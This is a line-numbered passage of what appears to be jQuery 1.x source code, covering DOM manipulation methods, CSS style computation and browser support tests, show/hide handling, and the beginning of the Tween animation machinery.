  3689. if (acceptData || jQuery.acceptData(elem)) {
  3690. id = elem[internalKey];
  3691. data = id && cache[id];
  3692. if (data) {
  3693. if (data.events) {
  3694. for (type in data.events) {
  3695. if (special[type]) {
  3696. jQuery.event.remove(elem, type)
  3697. } else {
  3698. jQuery.removeEvent(elem, type, data.handle)
  3699. }
  3700. }
  3701. }
  3702. if (cache[id]) {
  3703. delete cache[id];
  3704. if (deleteExpando) {
  3705. delete elem[internalKey]
  3706. } else if (typeof elem.removeAttribute !== strundefined) {
  3707. elem.removeAttribute(internalKey)
  3708. } else {
  3709. elem[internalKey] = null
  3710. }
  3711. deletedIds.push(id)
  3712. }
  3713. }
  3714. }
  3715. }
  3716. }
  3717. });
  3718. jQuery.fn.extend({
  3719. text: function(value) {
  3720. return access(this, function(value) {
  3721. return value === undefined ? jQuery.text(this) : this.empty().append((this[0] && this[0].ownerDocument || document).createTextNode(value))
  3722. }, null, value, arguments.length)
  3723. },
  3724. append: function() {
  3725. return this.domManip(arguments, function(elem) {
  3726. if (this.nodeType === 1 || this.nodeType === 11 || this.nodeType === 9) {
  3727. var target = manipulationTarget(this, elem);
  3728. target.appendChild(elem)
  3729. }
  3730. })
  3731. },
  3732. prepend: function() {
  3733. return this.domManip(arguments, function(elem) {
  3734. if (this.nodeType === 1 || this.nodeType === 11 || this.nodeType === 9) {
  3735. var target = manipulationTarget(this, elem);
  3736. target.insertBefore(elem, target.firstChild)
  3737. }
  3738. })
  3739. },
  3740. before: function() {
  3741. return this.domManip(arguments, function(elem) {
  3742. if (this.parentNode) {
  3743. this.parentNode.insertBefore(elem, this)
  3744. }
  3745. })
  3746. },
  3747. after: function() {
  3748. return this.domManip(arguments, function(elem) {
  3749. if (this.parentNode) {
  3750. this.parentNode.insertBefore(elem, this.nextSibling)
  3751. }
  3752. })
  3753. },
  3754. remove: function(selector, keepData) {
  3755. var elem, elems = selector ? jQuery.filter(selector, this) : this,
  3756. i = 0;
  3757. for (;
  3758. (elem = elems[i]) != null; i++) {
  3759. if (!keepData && elem.nodeType === 1) {
  3760. jQuery.cleanData(getAll(elem))
  3761. }
  3762. if (elem.parentNode) {
  3763. if (keepData && jQuery.contains(elem.ownerDocument, elem)) {
  3764. setGlobalEval(getAll(elem, "script"))
  3765. }
  3766. elem.parentNode.removeChild(elem)
  3767. }
  3768. }
  3769. return this
  3770. },
  3771. empty: function() {
  3772. var elem, i = 0;
  3773. for (;
  3774. (elem = this[i]) != null; i++) {
  3775. if (elem.nodeType === 1) {
  3776. jQuery.cleanData(getAll(elem, false))
  3777. }
  3778. while (elem.firstChild) {
  3779. elem.removeChild(elem.firstChild)
  3780. }
  3781. if (elem.options && jQuery.nodeName(elem, "select")) {
  3782. elem.options.length = 0
  3783. }
  3784. }
  3785. return this
  3786. },
  3787. clone: function(dataAndEvents, deepDataAndEvents) {
  3788. dataAndEvents = dataAndEvents == null ? false : dataAndEvents;
  3789. deepDataAndEvents = deepDataAndEvents == null ? dataAndEvents : deepDataAndEvents;
  3790. return this.map(function() {
  3791. return jQuery.clone(this, dataAndEvents, deepDataAndEvents)
  3792. })
  3793. },
  3794. html: function(value) {
  3795. return access(this, function(value) {
  3796. var elem = this[0] || {},
  3797. i = 0,
  3798. l = this.length;
  3799. if (value === undefined) {
  3800. return elem.nodeType === 1 ? elem.innerHTML.replace(rinlinejQuery, "") : undefined
  3801. }
  3802. if (typeof value === "string" && !rnoInnerhtml.test(value) && (support.htmlSerialize || !rnoshimcache.test(value)) && (support.leadingWhitespace || !rleadingWhitespace.test(value)) && !wrapMap[(rtagName.exec(value) || ["", ""])[1].toLowerCase()]) {
  3803. value = value.replace(rxhtmlTag, "<$1></$2>");
  3804. try {
  3805. for (; i < l; i++) {
  3806. elem = this[i] || {};
  3807. if (elem.nodeType === 1) {
  3808. jQuery.cleanData(getAll(elem, false));
  3809. elem.innerHTML = value
  3810. }
  3811. }
  3812. elem = 0
  3813. } catch (e) {}
  3814. }
  3815. if (elem) {
  3816. this.empty().append(value)
  3817. }
  3818. }, null, value, arguments.length)
  3819. },
  3820. replaceWith: function() {
  3821. var arg = arguments[0];
  3822. this.domManip(arguments, function(elem) {
  3823. arg = this.parentNode;
  3824. jQuery.cleanData(getAll(this));
  3825. if (arg) {
  3826. arg.replaceChild(elem, this)
  3827. }
  3828. });
  3829. return arg && (arg.length || arg.nodeType) ? this : this.remove()
  3830. },
  3831. detach: function(selector) {
  3832. return this.remove(selector, true)
  3833. },
  3834. domManip: function(args, callback) {
  3835. args = concat.apply([], args);
  3836. var first, node, hasScripts, scripts, doc, fragment, i = 0,
  3837. l = this.length,
  3838. set = this,
  3839. iNoClone = l - 1,
  3840. value = args[0],
  3841. isFunction = jQuery.isFunction(value);
  3842. if (isFunction || (l > 1 && typeof value === "string" && !support.checkClone && rchecked.test(value))) {
  3843. return this.each(function(index) {
  3844. var self = set.eq(index);
  3845. if (isFunction) {
  3846. args[0] = value.call(this, index, self.html())
  3847. }
  3848. self.domManip(args, callback)
  3849. })
  3850. }
  3851. if (l) {
  3852. fragment = jQuery.buildFragment(args, this[0].ownerDocument, false, this);
  3853. first = fragment.firstChild;
  3854. if (fragment.childNodes.length === 1) {
  3855. fragment = first
  3856. }
  3857. if (first) {
  3858. scripts = jQuery.map(getAll(fragment, "script"), disableScript);
  3859. hasScripts = scripts.length;
  3860. for (; i < l; i++) {
  3861. node = fragment;
  3862. if (i !== iNoClone) {
  3863. node = jQuery.clone(node, true, true);
  3864. if (hasScripts) {
  3865. jQuery.merge(scripts, getAll(node, "script"))
  3866. }
  3867. }
  3868. callback.call(this[i], node, i)
  3869. }
  3870. if (hasScripts) {
  3871. doc = scripts[scripts.length - 1].ownerDocument;
  3872. jQuery.map(scripts, restoreScript);
  3873. for (i = 0; i < hasScripts; i++) {
  3874. node = scripts[i];
  3875. if (rscriptType.test(node.type || "") && !jQuery._data(node, "globalEval") && jQuery.contains(doc, node)) {
  3876. if (node.src) {
  3877. if (jQuery._evalUrl) {
  3878. jQuery._evalUrl(node.src)
  3879. }
  3880. } else {
  3881. jQuery.globalEval((node.text || node.textContent || node.innerHTML || "").replace(rcleanScript, ""))
  3882. }
  3883. }
  3884. }
  3885. }
  3886. fragment = first = null
  3887. }
  3888. }
  3889. return this
  3890. }
  3891. });
  3892. jQuery.each({
  3893. appendTo: "append",
  3894. prependTo: "prepend",
  3895. insertBefore: "before",
  3896. insertAfter: "after",
  3897. replaceAll: "replaceWith"
  3898. }, function(name, original) {
  3899. jQuery.fn[name] = function(selector) {
  3900. var elems, i = 0,
  3901. ret = [],
  3902. insert = jQuery(selector),
  3903. last = insert.length - 1;
  3904. for (; i <= last; i++) {
  3905. elems = i === last ? this : this.clone(true);
  3906. jQuery(insert[i])[original](elems);
  3907. push.apply(ret, elems.get())
  3908. }
  3909. return this.pushStack(ret)
  3910. }
  3911. });
  3912. var iframe, elemdisplay = {};
  3913.  
  3914. function actualDisplay(name, doc) {
  3915. var style, elem = jQuery(doc.createElement(name)).appendTo(doc.body),
  3916. display = window.getDefaultComputedStyle && (style = window.getDefaultComputedStyle(elem[0])) ? style.display : jQuery.css(elem[0], "display");
  3917. elem.detach();
  3918. return display
  3919. }
  3920.  
  3921. function defaultDisplay(nodeName) {
  3922. var doc = document,
  3923. display = elemdisplay[nodeName];
  3924. if (!display) {
  3925. display = actualDisplay(nodeName, doc);
  3926. if (display === "none" || !display) {
  3927. iframe = (iframe || jQuery("<iframe frameborder='0' width='0' height='0'/>")).appendTo(doc.documentElement);
  3928. doc = (iframe[0].contentWindow || iframe[0].contentDocument).document;
  3929. doc.write();
  3930. doc.close();
  3931. display = actualDisplay(nodeName, doc);
  3932. iframe.detach()
  3933. }
  3934. elemdisplay[nodeName] = display
  3935. }
  3936. return display
  3937. }(function() {
  3938. var shrinkWrapBlocksVal;
  3939. support.shrinkWrapBlocks = function() {
  3940. if (shrinkWrapBlocksVal != null) {
  3941. return shrinkWrapBlocksVal
  3942. }
  3943. shrinkWrapBlocksVal = false;
  3944. var div, body, container;
  3945. body = document.getElementsByTagName("body")[0];
  3946. if (!body || !body.style) {
  3947. return
  3948. }
  3949. div = document.createElement("div");
  3950. container = document.createElement("div");
  3951. container.style.cssText = "position:absolute;border:0;width:0;height:0;top:0;left:-9999px";
  3952. body.appendChild(container).appendChild(div);
  3953. if (typeof div.style.zoom !== strundefined) {
  3954. div.style.cssText = "-webkit-box-sizing:content-box;-moz-box-sizing:content-box;" + "box-sizing:content-box;display:block;margin:0;border:0;" + "padding:1px;width:1px;zoom:1";
  3955. div.appendChild(document.createElement("div")).style.width = "5px";
  3956. shrinkWrapBlocksVal = div.offsetWidth !== 3
  3957. }
  3958. body.removeChild(container);
  3959. return shrinkWrapBlocksVal
  3960. }
  3961. })();
  3962. var rmargin = (/^margin/);
  3963. var rnumnonpx = new RegExp("^(" + pnum + ")(?!px)[a-z%]+$", "i");
  3964. var getStyles, curCSS, rposition = /^(top|right|bottom|left)$/;
  3965. if (window.getComputedStyle) {
  3966. getStyles = function(elem) {
  3967. if (elem.ownerDocument.defaultView.opener) {
  3968. return elem.ownerDocument.defaultView.getComputedStyle(elem, null)
  3969. }
  3970. return window.getComputedStyle(elem, null)
  3971. };
  3972. curCSS = function(elem, name, computed) {
  3973. var width, minWidth, maxWidth, ret, style = elem.style;
  3974. computed = computed || getStyles(elem);
  3975. ret = computed ? computed.getPropertyValue(name) || computed[name] : undefined;
  3976. if (computed) {
  3977. if (ret === "" && !jQuery.contains(elem.ownerDocument, elem)) {
  3978. ret = jQuery.style(elem, name)
  3979. }
  3980. if (rnumnonpx.test(ret) && rmargin.test(name)) {
  3981. width = style.width;
  3982. minWidth = style.minWidth;
  3983. maxWidth = style.maxWidth;
  3984. style.minWidth = style.maxWidth = style.width = ret;
  3985. ret = computed.width;
  3986. style.width = width;
  3987. style.minWidth = minWidth;
  3988. style.maxWidth = maxWidth
  3989. }
  3990. }
  3991. return ret === undefined ? ret : ret + ""
  3992. }
  3993. } else if (document.documentElement.currentStyle) {
  3994. getStyles = function(elem) {
  3995. return elem.currentStyle
  3996. };
  3997. curCSS = function(elem, name, computed) {
  3998. var left, rs, rsLeft, ret, style = elem.style;
  3999. computed = computed || getStyles(elem);
  4000. ret = computed ? computed[name] : undefined;
  4001. if (ret == null && style && style[name]) {
  4002. ret = style[name]
  4003. }
  4004. if (rnumnonpx.test(ret) && !rposition.test(name)) {
  4005. left = style.left;
  4006. rs = elem.runtimeStyle;
  4007. rsLeft = rs && rs.left;
  4008. if (rsLeft) {
  4009. rs.left = elem.currentStyle.left
  4010. }
  4011. style.left = name === "fontSize" ? "1em" : ret;
  4012. ret = style.pixelLeft + "px";
  4013. style.left = left;
  4014. if (rsLeft) {
  4015. rs.left = rsLeft
  4016. }
  4017. }
  4018. return ret === undefined ? ret : ret + "" || "auto"
  4019. }
  4020. }
  4021.  
  4022. function addGetHookIf(conditionFn, hookFn) {
  4023. return {
  4024. get: function() {
  4025. var condition = conditionFn();
  4026. if (condition == null) {
  4027. return
  4028. }
  4029. if (condition) {
  4030. delete this.get;
  4031. return
  4032. }
  4033. return (this.get = hookFn).apply(this, arguments)
  4034. }
  4035. }
  4036. }(function() {
  4037. var div, style, a, pixelPositionVal, boxSizingReliableVal, reliableHiddenOffsetsVal, reliableMarginRightVal;
  4038. div = document.createElement("div");
  4039. div.innerHTML = " <link/><table></table><a href='/a'>a</a><input type='checkbox'/>";
  4040. a = div.getElementsByTagName("a")[0];
  4041. style = a && a.style;
  4042. if (!style) {
  4043. return
  4044. }
  4045. style.cssText = "float:left;opacity:.5";
  4046. support.opacity = style.opacity === "0.5";
  4047. support.cssFloat = !!style.cssFloat;
  4048. div.style.backgroundClip = "content-box";
  4049. div.cloneNode(true).style.backgroundClip = "";
  4050. support.clearCloneStyle = div.style.backgroundClip === "content-box";
  4051. support.boxSizing = style.boxSizing === "" || style.MozBoxSizing === "" || style.WebkitBoxSizing === "";
  4052. jQuery.extend(support, {
  4053. reliableHiddenOffsets: function() {
  4054. if (reliableHiddenOffsetsVal == null) {
  4055. computeStyleTests()
  4056. }
  4057. return reliableHiddenOffsetsVal
  4058. },
  4059. boxSizingReliable: function() {
  4060. if (boxSizingReliableVal == null) {
  4061. computeStyleTests()
  4062. }
  4063. return boxSizingReliableVal
  4064. },
  4065. pixelPosition: function() {
  4066. if (pixelPositionVal == null) {
  4067. computeStyleTests()
  4068. }
  4069. return pixelPositionVal
  4070. },
  4071. reliableMarginRight: function() {
  4072. if (reliableMarginRightVal == null) {
  4073. computeStyleTests()
  4074. }
  4075. return reliableMarginRightVal
  4076. }
  4077. });
  4078.  
  4079. function computeStyleTests() {
  4080. var div, body, container, contents;
  4081. body = document.getElementsByTagName("body")[0];
  4082. if (!body || !body.style) {
  4083. return
  4084. }
  4085. div = document.createElement("div");
  4086. container = document.createElement("div");
  4087. container.style.cssText = "position:absolute;border:0;width:0;height:0;top:0;left:-9999px";
  4088. body.appendChild(container).appendChild(div);
  4089. div.style.cssText = "-webkit-box-sizing:border-box;-moz-box-sizing:border-box;" + "box-sizing:border-box;display:block;margin-top:1%;top:1%;" + "border:1px;padding:1px;width:4px;position:absolute";
  4090. pixelPositionVal = boxSizingReliableVal = false;
  4091. reliableMarginRightVal = true;
  4092. if (window.getComputedStyle) {
  4093. pixelPositionVal = (window.getComputedStyle(div, null) || {}).top !== "1%";
  4094. boxSizingReliableVal = (window.getComputedStyle(div, null) || {
  4095. width: "4px"
  4096. }).width === "4px";
  4097. contents = div.appendChild(document.createElement("div"));
  4098. contents.style.cssText = div.style.cssText = "-webkit-box-sizing:content-box;-moz-box-sizing:content-box;" + "box-sizing:content-box;display:block;margin:0;border:0;padding:0";
  4099. contents.style.marginRight = contents.style.width = "0";
  4100. div.style.width = "1px";
  4101. reliableMarginRightVal = !parseFloat((window.getComputedStyle(contents, null) || {}).marginRight);
  4102. div.removeChild(contents)
  4103. }
  4104. div.innerHTML = "<table><tr><td></td><td>t</td></tr></table>";
  4105. contents = div.getElementsByTagName("td");
  4106. contents[0].style.cssText = "margin:0;border:0;padding:0;display:none";
  4107. reliableHiddenOffsetsVal = contents[0].offsetHeight === 0;
  4108. if (reliableHiddenOffsetsVal) {
  4109. contents[0].style.display = "";
  4110. contents[1].style.display = "none";
  4111. reliableHiddenOffsetsVal = contents[0].offsetHeight === 0
  4112. }
  4113. body.removeChild(container)
  4114. }
  4115. })();
  4116. jQuery.swap = function(elem, options, callback, args) {
  4117. var ret, name, old = {};
  4118. for (name in options) {
  4119. old[name] = elem.style[name];
  4120. elem.style[name] = options[name]
  4121. }
  4122. ret = callback.apply(elem, args || []);
  4123. for (name in options) {
  4124. elem.style[name] = old[name]
  4125. }
  4126. return ret
  4127. };
  4128. var ralpha = /alpha\([^)]*\)/i,
  4129. ropacity = /opacity\s*=\s*([^)]*)/,
  4130. rdisplayswap = /^(none|table(?!-c[ea]).+)/,
  4131. rnumsplit = new RegExp("^(" + pnum + ")(.*)$", "i"),
  4132. rrelNum = new RegExp("^([+-])=(" + pnum + ")", "i"),
  4133. cssShow = {
  4134. position: "absolute",
  4135. visibility: "hidden",
  4136. display: "block"
  4137. },
  4138. cssNormalTransform = {
  4139. letterSpacing: "0",
  4140. fontWeight: "400"
  4141. },
  4142. cssPrefixes = ["Webkit", "O", "Moz", "ms"];
  4143.  
  4144. function vendorPropName(style, name) {
  4145. if (name in style) {
  4146. return name
  4147. }
  4148. var capName = name.charAt(0).toUpperCase() + name.slice(1),
  4149. origName = name,
  4150. i = cssPrefixes.length;
  4151. while (i--) {
  4152. name = cssPrefixes[i] + capName;
  4153. if (name in style) {
  4154. return name
  4155. }
  4156. }
  4157. return origName
  4158. }
  4159.  
  4160. function showHide(elements, show) {
  4161. var display, elem, hidden, values = [],
  4162. index = 0,
  4163. length = elements.length;
  4164. for (; index < length; index++) {
  4165. elem = elements[index];
  4166. if (!elem.style) {
  4167. continue
  4168. }
  4169. values[index] = jQuery._data(elem, "olddisplay");
  4170. display = elem.style.display;
  4171. if (show) {
  4172. if (!values[index] && display === "none") {
  4173. elem.style.display = ""
  4174. }
  4175. if (elem.style.display === "" && isHidden(elem)) {
  4176. values[index] = jQuery._data(elem, "olddisplay", defaultDisplay(elem.nodeName))
  4177. }
  4178. } else {
  4179. hidden = isHidden(elem);
  4180. if (display && display !== "none" || !hidden) {
  4181. jQuery._data(elem, "olddisplay", hidden ? display : jQuery.css(elem, "display"))
  4182. }
  4183. }
  4184. }
  4185. for (index = 0; index < length; index++) {
  4186. elem = elements[index];
  4187. if (!elem.style) {
  4188. continue
  4189. }
  4190. if (!show || elem.style.display === "none" || elem.style.display === "") {
  4191. elem.style.display = show ? values[index] || "" : "none"
  4192. }
  4193. }
  4194. return elements
  4195. }
  4196.  
  4197. function setPositiveNumber(elem, value, subtract) {
  4198. var matches = rnumsplit.exec(value);
  4199. return matches ? Math.max(0, matches[1] - (subtract || 0)) + (matches[2] || "px") : value
  4200. }
  4201.  
  4202. function augmentWidthOrHeight(elem, name, extra, isBorderBox, styles) {
  4203. var i = extra === (isBorderBox ? "border" : "content") ? 4 : name === "width" ? 1 : 0,
  4204. val = 0;
  4205. for (; i < 4; i += 2) {
  4206. if (extra === "margin") {
  4207. val += jQuery.css(elem, extra + cssExpand[i], true, styles)
  4208. }
  4209. if (isBorderBox) {
  4210. if (extra === "content") {
  4211. val -= jQuery.css(elem, "padding" + cssExpand[i], true, styles)
  4212. }
  4213. if (extra !== "margin") {
  4214. val -= jQuery.css(elem, "border" + cssExpand[i] + "Width", true, styles)
  4215. }
  4216. } else {
  4217. val += jQuery.css(elem, "padding" + cssExpand[i], true, styles);
  4218. if (extra !== "padding") {
  4219. val += jQuery.css(elem, "border" + cssExpand[i] + "Width", true, styles)
  4220. }
  4221. }
  4222. }
  4223. return val
  4224. }
  4225.  
  4226. function getWidthOrHeight(elem, name, extra) {
  4227. var valueIsBorderBox = true,
  4228. val = name === "width" ? elem.offsetWidth : elem.offsetHeight,
  4229. styles = getStyles(elem),
  4230. isBorderBox = support.boxSizing && jQuery.css(elem, "boxSizing", false, styles) === "border-box";
  4231. if (val <= 0 || val == null) {
  4232. val = curCSS(elem, name, styles);
  4233. if (val < 0 || val == null) {
  4234. val = elem.style[name]
  4235. }
  4236. if (rnumnonpx.test(val)) {
  4237. return val
  4238. }
  4239. valueIsBorderBox = isBorderBox && (support.boxSizingReliable() || val === elem.style[name]);
  4240. val = parseFloat(val) || 0
  4241. }
  4242. return (val + augmentWidthOrHeight(elem, name, extra || (isBorderBox ? "border" : "content"), valueIsBorderBox, styles)) + "px"
  4243. }
  4244. jQuery.extend({
  4245. cssHooks: {
  4246. opacity: {
  4247. get: function(elem, computed) {
  4248. if (computed) {
  4249. var ret = curCSS(elem, "opacity");
  4250. return ret === "" ? "1" : ret
  4251. }
  4252. }
  4253. }
  4254. },
  4255. cssNumber: {
  4256. "columnCount": true,
  4257. "fillOpacity": true,
  4258. "flexGrow": true,
  4259. "flexShrink": true,
  4260. "fontWeight": true,
  4261. "lineHeight": true,
  4262. "opacity": true,
  4263. "order": true,
  4264. "orphans": true,
  4265. "widows": true,
  4266. "zIndex": true,
  4267. "zoom": true
  4268. },
  4269. cssProps: {
  4270. "float": support.cssFloat ? "cssFloat" : "styleFloat"
  4271. },
  4272. style: function(elem, name, value, extra) {
  4273. if (!elem || elem.nodeType === 3 || elem.nodeType === 8 || !elem.style) {
  4274. return
  4275. }
  4276. var ret, type, hooks, origName = jQuery.camelCase(name),
  4277. style = elem.style;
  4278. name = jQuery.cssProps[origName] || (jQuery.cssProps[origName] = vendorPropName(style, origName));
  4279. hooks = jQuery.cssHooks[name] || jQuery.cssHooks[origName];
  4280. if (value !== undefined) {
  4281. type = typeof value;
  4282. if (type === "string" && (ret = rrelNum.exec(value))) {
  4283. value = (ret[1] + 1) * ret[2] + parseFloat(jQuery.css(elem, name));
  4284. type = "number"
  4285. }
  4286. if (value == null || value !== value) {
  4287. return
  4288. }
  4289. if (type === "number" && !jQuery.cssNumber[origName]) {
  4290. value += "px"
  4291. }
  4292. if (!support.clearCloneStyle && value === "" && name.indexOf("background") === 0) {
  4293. style[name] = "inherit"
  4294. }
  4295. if (!hooks || !("set" in hooks) || (value = hooks.set(elem, value, extra)) !== undefined) {
  4296. try {
  4297. style[name] = value
  4298. } catch (e) {}
  4299. }
  4300. } else {
  4301. if (hooks && "get" in hooks && (ret = hooks.get(elem, false, extra)) !== undefined) {
  4302. return ret
  4303. }
  4304. return style[name]
  4305. }
  4306. },
  4307. css: function(elem, name, extra, styles) {
  4308. var num, val, hooks, origName = jQuery.camelCase(name);
  4309. name = jQuery.cssProps[origName] || (jQuery.cssProps[origName] = vendorPropName(elem.style, origName));
  4310. hooks = jQuery.cssHooks[name] || jQuery.cssHooks[origName];
  4311. if (hooks && "get" in hooks) {
  4312. val = hooks.get(elem, true, extra)
  4313. }
  4314. if (val === undefined) {
  4315. val = curCSS(elem, name, styles)
  4316. }
  4317. if (val === "normal" && name in cssNormalTransform) {
  4318. val = cssNormalTransform[name]
  4319. }
  4320. if (extra === "" || extra) {
  4321. num = parseFloat(val);
  4322. return extra === true || jQuery.isNumeric(num) ? num || 0 : val
  4323. }
  4324. return val
  4325. }
  4326. });
  4327. jQuery.each(["height", "width"], function(i, name) {
  4328. jQuery.cssHooks[name] = {
  4329. get: function(elem, computed, extra) {
  4330. if (computed) {
  4331. return rdisplayswap.test(jQuery.css(elem, "display")) && elem.offsetWidth === 0 ? jQuery.swap(elem, cssShow, function() {
  4332. return getWidthOrHeight(elem, name, extra)
  4333. }) : getWidthOrHeight(elem, name, extra)
  4334. }
  4335. },
  4336. set: function(elem, value, extra) {
  4337. var styles = extra && getStyles(elem);
  4338. return setPositiveNumber(elem, value, extra ? augmentWidthOrHeight(elem, name, extra, support.boxSizing && jQuery.css(elem, "boxSizing", false, styles) === "border-box", styles) : 0)
  4339. }
  4340. }
  4341. });
  4342. if (!support.opacity) {
  4343. jQuery.cssHooks.opacity = {
  4344. get: function(elem, computed) {
  4345. return ropacity.test((computed && elem.currentStyle ? elem.currentStyle.filter : elem.style.filter) || "") ? (0.01 * parseFloat(RegExp.$1)) + "" : computed ? "1" : ""
  4346. },
  4347. set: function(elem, value) {
  4348. var style = elem.style,
  4349. currentStyle = elem.currentStyle,
  4350. opacity = jQuery.isNumeric(value) ? "alpha(opacity=" + value * 100 + ")" : "",
  4351. filter = currentStyle && currentStyle.filter || style.filter || "";
  4352. style.zoom = 1;
  4353. if ((value >= 1 || value === "") && jQuery.trim(filter.replace(ralpha, "")) === "" && style.removeAttribute) {
  4354. style.removeAttribute("filter");
  4355. if (value === "" || currentStyle && !currentStyle.filter) {
  4356. return
  4357. }
  4358. }
  4359. style.filter = ralpha.test(filter) ? filter.replace(ralpha, opacity) : filter + " " + opacity
  4360. }
  4361. }
  4362. }
  4363. jQuery.cssHooks.marginRight = addGetHookIf(support.reliableMarginRight, function(elem, computed) {
  4364. if (computed) {
  4365. return jQuery.swap(elem, {
  4366. "display": "inline-block"
  4367. }, curCSS, [elem, "marginRight"])
  4368. }
  4369. });
  4370. jQuery.each({
  4371. margin: "",
  4372. padding: "",
  4373. border: "Width"
  4374. }, function(prefix, suffix) {
  4375. jQuery.cssHooks[prefix + suffix] = {
  4376. expand: function(value) {
  4377. var i = 0,
  4378. expanded = {},
  4379. parts = typeof value === "string" ? value.split(" ") : [value];
  4380. for (; i < 4; i++) {
  4381. expanded[prefix + cssExpand[i] + suffix] = parts[i] || parts[i - 2] || parts[0]
  4382. }
  4383. return expanded
  4384. }
  4385. };
  4386. if (!rmargin.test(prefix)) {
  4387. jQuery.cssHooks[prefix + suffix].set = setPositiveNumber
  4388. }
  4389. });
  4390. jQuery.fn.extend({
  4391. css: function(name, value) {
  4392. return access(this, function(elem, name, value) {
  4393. var styles, len, map = {},
  4394. i = 0;
  4395. if (jQuery.isArray(name)) {
  4396. styles = getStyles(elem);
  4397. len = name.length;
  4398. for (; i < len; i++) {
  4399. map[name[i]] = jQuery.css(elem, name[i], false, styles)
  4400. }
  4401. return map
  4402. }
  4403. return value !== undefined ? jQuery.style(elem, name, value) : jQuery.css(elem, name)
  4404. }, name, value, arguments.length > 1)
  4405. },
  4406. show: function() {
  4407. return showHide(this, true)
  4408. },
  4409. hide: function() {
  4410. return showHide(this)
  4411. },
  4412. toggle: function(state) {
  4413. if (typeof state === "boolean") {
  4414. return state ? this.show() : this.hide()
  4415. }
  4416. return this.each(function() {
  4417. if (isHidden(this)) {
  4418. jQuery(this).show()
  4419. } else {
  4420. jQuery(this).hide()
  4421. }
  4422. })
  4423. }
  4424. });
  4425.  
  4426. function Tween(elem, options, prop, end, easing) {
  4427. return new Tween.prototype.init(elem, options, prop, end, easing)
  4428. }
  4429. jQuery.Tween = Tween;
  4430. Tween.prototype = {
  4431. constructor: Tween,
  4432. init: function(elem, options, prop, end, easing, unit) {
  4433. this.elem = elem;
  4434. this.prop = prop;
  4435. this.easing = easing || "swing";
  4436. this.options = options;
  4437. this.start = this.now = this.cur();
  4438. this.end = end;
  4439. this.unit = unit || (jQuery.cssNumber[prop] ? "" : "px")
  4440. },
  4441. cur: function() {
  4442. var hooks = Tween.propHooks[this.prop];
  4443. return hooks && hooks.get ? hooks.get(this) : Tween.propHooks._default.get(this)
  4444. },
  4445. run: function(percent) {
  4446. var eased, hooks = Tween.propHooks[this.prop];
  4447. if (this.options.duration) {
  4448. this.pos = eased = jQuery.easing[this.easing](percent, this.options.duration * percent, 0, 1, this.options.duration)
  4449. } else {
  4450. this.pos = eased = percent
  4451. }
  4452. this.now = (this.end - this.start) * eased + this.start;
  4453. if (this.options.step) {
  4454. this.options.step.call(this.elem, this.now, this)
  4455. }
  4456. if (hooks && hooks.set) {
  4457. hooks.set(this)
  4458. } else {
  4459. Tween.propHooks._default.set(this)
  4460. }
  4461. return this
  4462. }
  4463. };
  4464. Tween.prototype.init.prototype = Tween.prototype;
  4465. Tween.propHooks = {
  4466. _default: {
  4467. get: function(tween) {
  4468. var result;
  4469. if (tween.elem[tween.prop] != null && (!tween.elem.style || tween.elem.style[tween.prop] == null)) {
  4470. return tween.elem[tween.prop]
  4471. }
  4472. result = jQuery.css(tween.elem, tween.prop, "");
  4473. return !result || result === "auto" ? 0 : result
  4474. },
  4475. set: function(tween) {
  4476. if (jQuery.fx.step[tween.prop]) {
  4477. jQuery.fx.step[tween.prop](tween)
  4478. } else if (tween.elem.style && (tween.elem.style[jQuery.cssProps[tween.prop]] != null || jQuery.cssHooks[tween.prop])) {
  4479. jQuery.style(tween.elem, tween.prop, tween.now + tween.unit)
  4480. } else {
  4481. tween.elem[tween.prop] = tween.now
  4482. }
  4483. }
  4484. }
  4485. };
  4486. Tween.propHooks.scrollTop = Tween.propHooks.scrollLeft = {
  4487. set: function(tween) {
  4488. if (tween.elem.nodeType && tween.elem.parentNode) {
  4489. tween.elem[tween.prop] = tween.now
  4490. }
  4491. }
  4492. };
  4493. jQuery.easing = {
  4494. linear: function(p) {
  4495. return p
  4496. },
  4497. swing: function(p) {
  4498. return 0.5 - Math.cos(p * Math.PI) / 2
  4499. }
  4500. };
  4501. jQuery.fx = Tween.prototype.init;
  4502. jQuery.fx.step = {};
  4503. var fxNow, timerId, rfxtypes = /^(?:toggle|show|hide)$/,
  4504. rfxnum = new RegExp("^(?:([+-])=|)(" + pnum + ")([a-z%]*)$", "i"),
  4505. rrun = /queueHooks$/,
  4506. animationPrefilters = [defaultPrefilter],
  4507. tweeners = {
  4508. "*": [function(prop, value) {
  4509. var tween = this.createTween(prop, value),
  4510. target = tween.cur(),
  4511. parts = rfxnum.exec(value),
  4512. unit = parts && parts[3] || (jQuery.cssNumber[prop] ? "" : "px"),
  4513. start = (jQuery.cssNumber[prop] || unit !== "px" && +target) && rfxnum.exec(jQuery.css(tween.elem, prop)),
  4514. scale = 1,
  4515. maxIterations = 20;
  4516. if (start && start[3] !== unit) {
  4517. unit = unit || start[3];
  4518. parts = parts || [];
  4519. start = +target || 1;
  4520. do {
  4521. scale = scale || ".5";
  4522. start = start / scale;
  4523. jQuery.style(tween.elem, prop, start + unit)
  4524. } while (scale !== (scale = tween.cur() / target) && scale !== 1 && --maxIterations)
  4525. }
  4526. if (parts) {
  4527. start = tween.start = +start || +target || 0;
  4528. tween.unit = unit;
  4529. tween.end = parts[1] ? start + (parts[1] + 1) * parts[2] : +parts[2]
  4530. }
  4531. return tween
  4532. }]
  4533. };
  4534.  
  4535. function createFxNow() {
  4536. setTimeout(function() {
  4537. fxNow = undefined
  4538. });
  4539. return (fxNow = jQuery.now())
  4540. }
  4541.  
  4542. function genFx(type, includeWidth) {
  4543. var which, attrs = {
  4544. height: type
  4545. },
  4546. i = 0;
  4547. includeWidth = includeWidth ? 1 : 0;
  4548. for (; i < 4; i += 2 - includeWidth) {
  4549. which = cssExpand[i];
  4550. attrs["margin" + which] = attrs["padding" + which] = type
  4551. }
  4552. if (includeWidth) {
  4553. attrs.opacity = attrs.width = type
  4554. }
  4555. return attrs
  4556. }
  4557.  
  4558. function createTween(value, prop, animation) {
  4559. var tween, collection = (tweeners[prop] || []).concat(tweeners["*"]),
  4560. index = 0,
  4561. length = collection.length;
  4562. for (; index < length; index++) {
  4563. if ((tween = collection[index].call(animation, prop, value))) {
  4564. return tween
  4565. }
  4566. }
  4567. }
  4568.  
  4569. function defaultPrefilter(elem, props, opts) {
  4570. var prop, value, toggle, tween, hooks, oldfire, display, checkDisplay, anim = this,
  4571. orig = {},
  4572. style = elem.style,
  4573. hidden = elem.nodeType && isHidden(elem),
  4574. dataShow = jQuery._data(elem, "fxshow");
  4575. if (!opts.queue) {
